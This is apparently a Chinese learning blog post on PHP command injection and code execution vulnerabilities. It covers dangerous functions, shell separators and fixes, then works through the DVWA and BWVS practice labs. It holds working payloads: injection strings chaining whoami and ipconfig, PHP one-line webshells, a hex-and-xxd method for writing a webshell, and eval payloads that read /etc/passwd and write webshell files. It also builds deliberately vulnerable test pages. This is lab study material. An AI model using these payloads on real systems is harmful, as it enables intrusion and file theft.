命令执行(Command Injection)与代码执行(Code execution)

前言

Web学习进行时,最近又学习了命令执行和代码执行漏洞。于是记录了学习过程。

命令执行与代码执行基础

简介

命令执行漏洞

命令执行漏洞概念:
命令执行漏洞,就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

通俗的讲:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以住人恶意系统命令到正常的命令中,造成命令执行攻击。
命令执行漏洞成因:
当我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。
命令执行漏洞:
直接调用操作系统命令
命令执行漏洞原理:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
命令执行相关函数
本质:命令执行产生函数:exec,shell_exec,system,passthru等将参数以dos、shell执行

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数,此外还要小心mail()函数的安全。

  • system() 输出并返回最后一行shell结果。
  • exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
  • passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
  • popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针

命令执行分隔符:

windows: &&  ||  &  | 
linux:   &&   ||   &  |    ;

windows:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
命令执行漏洞利用:
1、可尝试进行反弹shell,搭建服务执行wget下载webshell。
2、写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义
假设需要写入<?php eval($_POST[wang]); ?>,方法如下:
Windows:
^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web
web可写目录加文件完整名字
Linux:
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web
web可写目录加文件完整名字

后面命令注入也有时间盲注和sql注入很像
命令执行漏洞修复建议:

  • 尽量不使用命令执行函数
  • 提交的变量在进入执行命令函数前进行过滤和检测(如:调用addslashes进行转义)
  • 使用动态函数之前,确保使用的函数是指定的函数之一
  • 对于PHP语言,不能完全控制的危险函数(如:disable_functions)最好不使用

PHP内置的两个函数可以有效防止命令执行:
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。
资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php

代码执行漏洞

代码执行漏洞成因:
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。大部分都是根据源代码判断代码执行漏洞。
代码执行漏洞:
靠执行脚本代码调用操作系统命令
代码执行漏洞原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
代码执行相关函数:

  • PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
  • Javascript: eval
  • Vbscript:Execute、Eval
  • Python: exec

Java: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。

代码执行漏洞的案例:

  • 可控点为待执行的程序。
<?php
$data = $_GET[‘data’];
eval (“\$ret = $data;);
echo $ret;
?>

使用:直接传入我们想要执行的PHP代码。

  • 可控点某函数的参数值且被单引号包裹。
<?php
$data = $_GET[‘data’];
eval (“\$ret = strtolower($data););
echo $ret;
?>

使用:必须先闭合单引号。
Pl:’);所需函数;//

  • 可控点某函数的参数值且被双引号包裹。
<?php
$data = $_GET[‘data’];
eval (“\$ret = strtolower(“\’’$_data\”););
echo $ret;
?>

Pl: {${所需函数}}
“);所需函数;//
在PHP中,双引号里面如果包含有变量,PHP解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

  • preg_replace()+/e(PHP版本<5.5.0)
<?php
$data = $_GET[‘data’];
preg_repalce(/<data>(.*)<\ /data>/e’,$ret=”\\1;$data);
echo $ret;
?>
{${所需函数}}</data>

/e 修正符
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

代码执行漏洞利用:
1.一句话木马

${@eval($_POST[1])}

2.获取当前工作路径

${exit(print(getcwd()))}

使用菜刀
3.读文件

${exit(var_dump(file_get_contents($_POST[f])))}
f=/etc/passwd

使用post提交数值 f=/etc/passwd
4.写webshell

${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=1.php&d=1111111

同样使用post
代码执行漏洞修复方案:

  • 对于eval()函数一定要保证用户不能轻易接触eval参数或者用正则严格判断输入的数据格式。
  • 对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes
  • 对于preg_replace放弃使用e修饰符.如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

基础环境搭建

搭建使用Web服务器环境(Apache+PHP+MySQL、我用的phpstudy集成环境)
命令执行环境
新建一个commnd.php文件,其中输入代码:

<?php
$a=$_GET['cmd'];
if ($a){
    system("$a");
}
?>

测试一下
在这里插入图片描述
报错是因为没有get传参。
get传参测试是否成功(如果显示编码有问题,可以设置编码)
在这里插入图片描述
这种操作相当于在命令行(cmd)下进行ipconfig的查询。
代码执行环境
新建code.php,输入代码:

<?php
	eval($_REQUEST['code']);
?>

在浏览器中打开,传参(get或post都行),参数值我选择phpinfo();
在这里插入图片描述
效果和查看phpinfo.php是一样的。

DVWA漏洞靶场-Command Injection(命令执行)

1、low 级别

127.0.0.1 & ipconfig

没有任何过滤,执行成功
在这里插入图片描述
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值
”a” (此为默认,包含序列”s n r v m”里的所有模式)
”s ”(返回操作系统名称)
”n”(返回主机名)
”r”(返回版本名称)
”v”(返回版本信息)
”m”(返回机器类型)
可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

2、medium 级别

查看源码
在这里插入图片描述
设置了黑名单,对 && 进行了过滤,替换成空
& 或者 || 可绕过,即:

127.0.0.1 & ipconfig

127.0.0.1 || ipconfig

3、high 级别

查看源码
在这里插入图片描述
更加严格过滤,对黑名单中所有字符进行替换,&& 会被替换两次
过滤了 | + 空格,使用无空格|绕过,即可执行成功。即:

127.0.0.1|ipconfig

4、impose 级别

查看源码
在这里插入图片描述
stripslashes(string)
stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

限制IP格式,这就是所谓的白名单,可以有效的防止命令注入。不推荐黑名单,应该可以通过双引号,略过黑名单。linux下还支持单引号
在这里插入图片描述

BWVS漏洞靶场-代码执行

1、一句话木马

http://192.168.204.128/BWVS//bug/code_exec/code.php?code=${@eval($_POST['a'])}&submit=submit

在这里插入图片描述

2、获取当前工作路径

http://192.168.204.128/BWVS//bug/code_exec/code.php?code= ${exit(print(getcwd()))}&submit=submit

在这里插入图片描述

3、读文件

${exit(var_dump(file_get_contents($_POST[f])))}
f=/etc/passwd

在这里插入图片描述

4、写webshell

${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=webshell.php&d=<?php @eval($_POST['abc']); ?>

在这里插入图片描述
测试是否上传成功,上传成功
在这里插入图片描述

参考:
DVWA漏洞靶场-命令执行(Command Injection)
代码执行漏洞
PHP安全之慎用preg_replace的/e修饰符
《Web安全攻防》
命令执行、代码执行漏洞

感悟

通过学习命令执行和代码执行。又收获了好多知识,继续努力!!!
小白进阶ing

发布了50 篇原创文章 · 获赞 23 · 访问量 9870

猜你喜欢

转载自blog.csdn.net/qq_43625917/article/details/98802320
今日推荐